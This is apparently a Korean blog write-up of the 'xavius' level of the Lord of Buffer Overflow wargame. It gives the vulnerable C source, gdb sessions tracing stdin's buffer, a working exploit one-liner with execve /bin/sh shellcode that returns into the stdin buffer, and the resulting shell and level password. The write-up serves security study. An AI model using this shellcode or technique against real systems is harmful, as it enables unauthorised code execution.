728x90

nightmare / beg for me

/*
        The Lord of the BOF : The Fellowship of the BOF
        - xavius
        - arg
*/

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

main()
{
	char buffer[40];
	char *ret_addr;

	// overflow!
	fgets(buffer, 256, stdin);//입력 받음
	printf("%s\n", buffer);

	if(*(buffer+47) == '\xbf')
	{
		printf("stack retbayed you!\n");
		exit(0);
	}

	if(*(buffer+47) == '\x08')
        {
                printf("binary image retbayed you, too!!\n");
                exit(0);
        }

	// check if the ret_addr is library function or not
	memcpy(&ret_addr, buffer+44, 4);
	while(memcmp(ret_addr, "\x90\x90", 2) != 0)	// end point of function
	{
		if(*ret_addr == '\xc9'){		// leave
			if(*(ret_addr+1) == '\xc3'){	// ret
				printf("You cannot use library function!\n");
				exit(0);
			}
		}
		ret_addr++; 
	}

        // stack destroyer
        memset(buffer, 0, 44);
	memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));

	// LD_* eraser
	// 40 : extra space for memset function
	memset(buffer-3000, 0, 3000-40);
}

memcpy 함수를 통해 buffer+44부터 4 bytes 만큼 ret_addr에 복사한다. buffer+44 memset을 이용해 buffer부터 stack 아래까지 전부 0으로 초기화한다. 대신 ret 주소는 빼고. buffer-3000부터 buffer 전까지도 0이 저장된다.

이번엔 리턴 주소 빼고는 거의 다 0으로 초기화된다. 문제 힌트에 arg가 있는데 이 문제는 fgets로 입력받는다. fgets 함수의 인자로 사용되는 stdin을 들여다보자. stdin은 표준 입력을 의미하며 키보드로 입력받는 것이다.

xavius를 복사하여 gdb를 실행 후 main+26 위치에 break을 걸고 실행한다. hello를 입력한다.

[nightmare@localhost nightmare]$ gdb xavius2 -q
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x8048714 <main>:	push   %ebp
0x8048715 <main+1>:	mov    %ebp,%esp
0x8048717 <main+3>:	sub    %esp,44
0x804871a <main+6>:	mov    %eax,%ds:0x8049a3c
0x804871f <main+11>:	push   %eax
0x8048720 <main+12>:	push   0x100
0x8048725 <main+17>:	lea    %eax,[%ebp-40]
0x8048728 <main+20>:	push   %eax
0x8048729 <main+21>:	call   0x8048408 <fgets>
0x804872e <main+26>:	add    %esp,12
(생략)
(gdb) b *main+26
Breakpoint 1 at 0x804872e
(gdb) r
Starting program: /home/nightmare/xavius2 
hello

Breakpoint 1, 0x804872e in main ()
(gdb) x/x 0x8049a3c
0x8049a3c <stdin@@GLIBC_2.0>:	0x401068c0
(gdb) x/10x 0x401068c0
0x401068c0 <_IO_2_1_stdin_>:	0xfbad2288	0x40015006	0x40015006	0x40015000
0x401068d0 <_IO_2_1_stdin_+16>:	0x40015000	0x40015000	0x40015000	0x40015000
0x401068e0 <_IO_2_1_stdin_+32>:	0x40015400	0x00000000
(gdb) x/4x 0x40015000
0x40015000:	0x6c6c6568	0x00000a6f	0x00000000	0x00000000

fgets 함수의 인자로 제일 처음 push 되는 0x8049a3c를 들여다봤다. 0x401068c0에 들어가 본다. 보니 뭔가가 있다. 0x40015000과 0x40015006을 보니 내가 입력한 hello길이 +1만큼 차이가 난다. fgets 함수는 끝에 \x0a(개행)을 붙이기 때문이다. hello\n이 된다. 그래서 0x40015000을 들어가 보면 hello\n가 존재함을 알 수 있다.

(gdb) b *main+278
Breakpoint 2 at 0x804882a
(gdb) c
Continuing.
hello

Breakpoint 2, 0x804882a in main ()
(gdb) ni
0x400309cb in __libc_start_main (main=???, argc=???, argv=???, init=???, fini=???, 
    rtld_fini=???, stack_end=???) at ../sysdeps/generic/libc-start.c:92
92	../sysdeps/generic/libc-start.c: No such file or directory.

(gdb) x/4x 0x40015000
0x40015000:	0x6c6c6568	0x00000a6f	0x00000000	0x00000000

main 함수의 ret에 break을 걸고 ret명령까지 실행 후에도 hello\n가 stdin에 남아있음을 확인했다. 그렇다면 표준 입력으로 쉘 코드를 전달하고 0x40015000으로 리턴하면 실행할 수 있을 것이다.

[nightmare@localhost nightmare]$ (python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x00\x50\x01\x40"';cat)|./xavius 
1󿿐h//shh/bin⏓󿲒°
               ̀ 
my-pass
euid = 519
throw me away

xavius의 비밀번호는 throw me away

참고로 stdin이 EOF를 반환하기에 쉘에 대한 입력을 유지하려면 cat가 필요하다.

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

death_knight  (0) 2023.02.04
xavius -> death_knight  (0) 2023.02.04
succubus -> nightmare  (4) 2023.02.03
zombie_assassin -> succubus  (0) 2023.02.02
assassin -> zombie_assassin  (0) 2023.02.01

+ Recent posts